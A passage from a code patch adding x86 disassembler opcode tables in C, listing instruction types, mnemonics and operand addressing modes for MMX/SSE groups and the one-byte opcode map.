INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER, + }, + { // gd + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER, + }, + { // ge + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_SSE, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_SSE, + }, + { // gf + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + }, + { // g0 + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER, + } +}; + + +// 1-byte opcodes +INST inst_table1[256] = { + { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ADD, "add", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ADD, "add", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ADD, "add", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_ADD, "add", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ES|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ES|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OR, "or", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OR, "or", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OR, "or", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OR, "or", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OR, "or", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OR, "or", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_CS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + // Escape to 2-byte opcode table + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ADC, "adc", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ADC, "adc", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ADC, "adc", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_ADC, "adc", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_SS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_SS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SBB, "sbb", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SBB, "sbb", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SBB, "sbb", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SBB, "sbb", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_DS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_DS|F_r, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_AND, "and", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_AND, "and", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_AND, "and", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_AND, "and", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_AND, "and", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_AND, "and", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + // seg ES override + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DCL, "daa", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SUB, "sub", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SUB, "sub", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_SUB, "sub", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SUB, "sub", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + // seg CS override + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DCL, "das", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_XOR, "xor", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_XOR, "xor", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_XOR, "xor", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XOR, "xor", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + // seg SS override + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_ASC, "aaa", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_CMP, "cmp", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_CMP, "cmp", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_CMP, "cmp", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_CMP, "cmp", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + // seg DS override + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_ASC, "aas", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH , "pusha", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "popa", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "bound", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_PRIV, "arpl", AM_E|OT_w, AM_G|OT_w, FLAGS_NONE, 1 }, + // seg FS override + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + // seg GS override + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + // operand size override + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + // address size override + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_I|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v, AM_E|OT_v, AM_I|OT_v , 1 }, + { INSTRUCTION_TYPE_PUSH, "push", AM_I|OT_b|F_s, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v, AM_E|OT_v, AM_I|OT_b|F_s, 1 }, + { INSTRUCTION_TYPE_PRIV, "insb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "insv", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "outsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PRIV, "outsv", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jo", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jno", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jb", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnb", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jz", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnz", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jbe", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnbe", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "js", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jns", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jp", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnp", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jl", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnl", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jle", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_JMPC, "jnle", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_v, AM_I|OT_b|F_s, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVSR, "mov", AM_E|OT_w, AM_S|OT_w, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_LEA, "lea", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOVSR, "mov", AM_S|OT_w, AM_E|OT_w, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_POP, "pop", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "nop", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_ECX|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDX|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_EBX|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_ESP|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_EBP|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_ESI|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDI|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "cbw", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "cwd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_CALL, "callf", AM_A|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "wait", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_PUSH, "pushf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "popf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "sahf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "lahf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_b, AM_O|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_v, AM_O|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_O|OT_v, AM_REG|REG_EAX|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_O|OT_v, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOVS, "movsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOVS, "movsd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_CMPS, "cmpsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_CMPS, "cmpsd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_TEST, "test", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_TEST, "test", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_STOS, "stosb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_STOS, "stosd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_LODS, "lodsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_LODS, "lodsd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SCAS, "scasb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_SCAS, "scasd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_AL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_CL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_DL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_BL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_AH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_CH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_DH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_BH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ECX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EDX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EBX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ESP|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EBP|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ESI|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EDI|OT_v, AM_I|OT_v, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_RET, "retn", AM_I|OT_w, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_RET, "ret", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_LFP, "les", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_LFP, "lds", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 }, + // XXX: prepare for group 11 + { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "enter", AM_I|OT_w, AM_I|OT_b, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_POP, "leave", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_RET, "retf", AM_I|OT_w, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "retf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INT, "int3", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_INT, "int", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "into", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "iret", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_I1|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_I1|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_REG|REG_CL|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_REG|REG_CL|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_ASC, "aam", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_ASC, "aad", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + // XXX: undocumened? + { INSTRUCTION_TYPE_OTHER, "salc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "xlat", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_LOOP, "loopn", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_LOOP, "loope", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_LOOP, "loop", AM_J|OT_b, 